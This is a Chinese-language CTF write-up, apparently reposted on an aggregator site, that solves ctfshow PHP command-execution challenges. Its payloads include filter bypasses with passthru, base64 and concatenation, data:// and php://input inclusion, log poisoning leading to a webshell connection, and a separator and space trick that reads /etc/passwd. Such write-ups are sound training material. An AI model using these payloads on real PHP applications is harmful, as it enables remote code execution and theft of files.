php命令执行的一些执行函数----以ctfshow靶场为解题思路

news2024/11/6 21:44:09

PHP命令执行

一招鲜,吃遍天 c=show_source("flag.php"); c=include($_GET[1]); c=include("flag.php");var_dump(get_defined_vars());

web30:

这道题目过滤了flag,system,php。

那么我们

解法1:passthru

?c=passthru("tac%20fla*");

解法2:绕过*号

假如*号被过滤了,我们可以通过?c=passthru("ls");先获取flag.php是目标,然后再通过?来匹配单个字母,也就是fla?????匹配flag.php,试一下,成功。 ?c=passthru("tac%20fla?????");

解法3:内敛执行 (反字节符)

?c=echo%20`tac%20fla*`;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。

解法4:带参数输入

?c=$_GET[1]&1=phpinfo(); 不行,原来是写错了。第一个c那里少了eval,少了分号。 /?c=eval($_GET[1]);&1=phpinfo();

?c=eval($_GET[1]);&1=system("tac%20flag.php");

解法5: 显示文件命令配合base64编码

?c= highlight_file(base64_decode("ZmxhZy5waHA="));

解法6:使用base64编码绕过

  1. system被过滤,使用passthru函数
  2. payload = url/?payload = passthru(base64_decode("base64-code")); 即url/?c=passthru(base64_decode("Y2F0IGZsYWcucGhw=="));

解法7、利用cp命令将flag拷贝到别处

?c=system("cp fl*g.php a.txt ");
然后浏览器访问a.txt,读取即可。

解法8、拼接法

看了几位师傅的wp,补充一个方法 ?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");

解法9、可以利用已知的其他函数来凑出所需要的字符串来绕过

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

解法10、利用文件包含

①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

③首先我们可以用BP进行抓包,把?file=php://input输入到链接后刷新抓包,然后再BP中修改发包方式为POST,然后在下面输入<?php system('tac flag.php');?>,就可以获取到flag了

?c=include$_GET[1]?>&1=php://input

④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件,添加UA头,然后用蚁剑连接

二、过滤字符

空格可以利用%20,%09,

“;”可以利用?>来代替

使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

过滤了分号和cat,可以用||和&来代替分号,tac代替cat

可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意,这里的&需要url编码

还有一种方法是nl flag.php+%26或%0a也就是换行符

空格可以用<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)代替,然后可以使用“\”这个符号来分隔字母类的

c''at${IFS}fla''g.p''hp
?c=ca\t${IFS}fla\g.ph\p

这种题目可以先扫目录,然后再寻找文件,然后把文件带出来

scandir查看目录 ->用前几题的方法获取flag

查看根目录内容
c=print_r(scandir("/"));
查看文件内容
POST传参:c=highlight_file("/flag.txt");
POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt
c=show_source('flag.php');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2229094.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mathorcup2024台风 我all in ai

三个问题&#xff0c;力大砖飞。 不建物理模型&#xff0c;直接all in好吧 第一个故意无监督 第二个LSTMCNN注意力&#xff0c;刚好时间空间 第三个在第二个上加了个transfomer &#xff0c;然后LSTM变双向&#xff0c;增加层数&#xff08;基线模型选的经验公式&#xff0c;少…

详细分析与梳理Java基础中的重点知识:String类 ,Java字符串String类入门,剖析String类底层机制

一、什么是String类&#xff1f; 众所周知&#xff0c;String类代表字符串类型。Java中所有被双引号包裹的字符串都是String类的对象。 &#xff08;比如&#xff1a;"zhangsan" , "lisi" , "博主是帅哥" , "123Abc"......&#xff0…

【C/C++】模拟实现strlen

学习目标&#xff1a; 使用代码模拟实现strlen。 逻辑&#xff1a; strlen 需要输入一个字符串数组类型的变量&#xff0c;并且返回一个整型类型的数据。strlen 需要计算字符串数组有多少个元素。 代码1&#xff1a;使用计数器 #define _CRT_SECURE_NO_WARNINGS 1 #include&…

Java面试经典 150 题.P55. 跳跃游戏(009)

本题来自&#xff1a;力扣-面试经典 150 题 面试经典 150 题 - 学习计划 - 力扣&#xff08;LeetCode&#xff09;全球极客挚爱的技术成长平台https://leetcode.cn/studyplan/top-interview-150/ 题解&#xff1a; class Solution {public boolean canJump(int[] nums) {int…

梁山派入门指南2——滴答定时器位带操作按键输入

梁山派入门指南2——滴答定时器&位带操作&按键输入 1. 滴答定时器1.1 滴答定时器简介1.2 相关寄存器1.3 固件库函数 2. 位带操作2.1 位带操作介绍2.2 位带操作的优势2.3 支持位带操作的内存地址2.4 位带别名区地址的计算方式2.5 位带操作使用示例 3 按键输入3.1 独立按…

RHCE--4

第四章 web服务器 web服务器简介 www可以结合文字、图形、影像以及声音等多媒体&#xff0c;并通过可以让鼠标单击超链接的方式将信息以Internet传递到世界各处去。 www所用的协议&#xff1a;Hyper Text Transport Protocol&#xff0c;HTTP&#xff0c;超文本传输协议。 ww…

C++ | Leetcode C++题解之第515题在每个树行中找最大值

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> largestValues(TreeNode* root) {if (!root) {return {};}vector<int> res;queue<TreeNode*> q;q.push(root);while (!q.empty()) {int len q.size();int maxVal INT_MIN;while (…

如何安装和使用PowerDesigner

教程目录 一、安装二、使用 一、安装 1、启动安装程序。 2、Trial&#xff0c;然后Next。 3、选PRC&#xff0c;同意协议&#xff0c;Next。 4、设置安装路径&#xff0c;Next。 5、Next。 6、全选&#xff0c;Next。 7、Next。 8、Next。 9、等待安装。 10、…

人工智能生产力悖论:为什么大多数人没用上AI工具?

真正的障碍不是技术&#xff0c;而是思考的时间: 虽然像ChatGPT这样的工具确实有潜力带来变革&#xff0c;但我接触的大多数人几乎不用它。就算用的&#xff0c;也只是用来做些总结之类的小活儿。而在这些用户里&#xff0c;只有大约5%的人订阅了高级版&#xff0c;这意味着真…

JS中DOM和BOM

DOM DOM&#xff08;文档对象模型&#xff09;是一个跨平台和语言独立的接口&#xff0c;它允许程序和脚本动态地访问和更新文档的内容、结构和样式。在网页浏览器中&#xff0c;DOM 通常表示 HTML 或 XML 文档的对象模型。DOM 将网页内容视为节点树&#xff0c;其中每个节点都…

C语言初阶:十一.代码调试技巧

❤欢迎各位大佬访问&#xff1a;折枝寄北-CSDN博客折枝寄北擅长C语言初阶,等方面的知识,折枝寄北关注python,c,java,qt,c语言领域.https://blog.csdn.net/2303_80170533?typeblog❤文章所属专栏https://blog.csdn.net/2303_80170533/category_12794764.html?spm1001.2014.300…

Linux265资源分享网——Linux命令大全在线网址

Linux命令大全在线网址 https://linux265.com/

Chrome浏览器控制台替换接口返回内容

1.打开Chrome DevTools&#xff1a; 使用快捷键F12或右键点击页面并选择“检查”来打开Chrome DevTools。 2.导航到Network面板&#xff1a; 在DevTools的顶部菜单中&#xff0c;选择“Network”&#xff08;网络&#xff09;面板以监视网络请求。 3.发起目标请求&#xff1a; …

HarmonyOS开发5.0 net 启动界面设置

第一步、创建我们界面 第二步&#xff0c; 在EntryAbility中配置启动页面&#xff0c;在entry/src/main/ets/entryability/EntryAbility.ets中配置启动页面 配置如下 至此大功告成

ssm012医院住院管理系统(论文+源码)_kaic

摘 要 随着时代的发展&#xff0c;医疗设备愈来愈完善&#xff0c;医院也变成人们生活中必不可少的场所。如今&#xff0c;已经2021年了&#xff0c;虽然医院的数量和设备愈加完善&#xff0c;但是老龄人口也越来越多。在如此大的人口压力下&#xff0c;医院住院就变成了一个问…

UML图之对象图详解

~犬&#x1f4f0;余~ “我欲贱而贵&#xff0c;愚而智&#xff0c;贫而富&#xff0c;可乎&#xff1f; 曰&#xff1a;其唯学乎” 零、什么是对象图 对象图&#xff08;Object Diagram&#xff09;是UML中一种重要的静态结构图&#xff0c;它用于表示在特定时间点上系统中的对…

STM32之外部中断(实验对射式传感器计次实验)

外部中断配置 #include "stm32f10x.h" // Device headeruint16_t CountSensor_Count;void CountSensor_Init(void) {//RCC--> GPIO--> AFIO--> EXTI--> NVIC五步RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE); //开启GPIOB时…

MFC的SendMessage与PostMessage的区别

一、SendMessage 同步操作&#xff1a; SendMessage 是一个同步函数&#xff0c;它会将消息发送到指定的窗口&#xff0c;并等待该窗口的消息处理过程完成&#xff0c;然后返回。这意味着它会阻塞当前线程&#xff0c;直到消息处理完成。 直接调用&#xff1a; SendMessage 会…

update-alternatives(选择工具)

0 Preface/foreword 1 update-alternatives介绍 1.1 选项和用法 1.2 install用法 update-alternatives --install <link> <name> <path> <priority> [--slave <link> <name> <path>] link&#xff1a;符号链接&#xff08;软链…

PostgreSQL(WINDOWS)下载、安装、简单使用

下载 PostgreSQL: Downloads PostgreSQL: Windows installers EDB: Open-Source, Enterprise Postgres Database Management 安装 注意密码要方便自己使用&#xff0c;不能忘记。 打开pgAdmin&#xff0c;输入密码 新建数据库 打开命令工具 新建表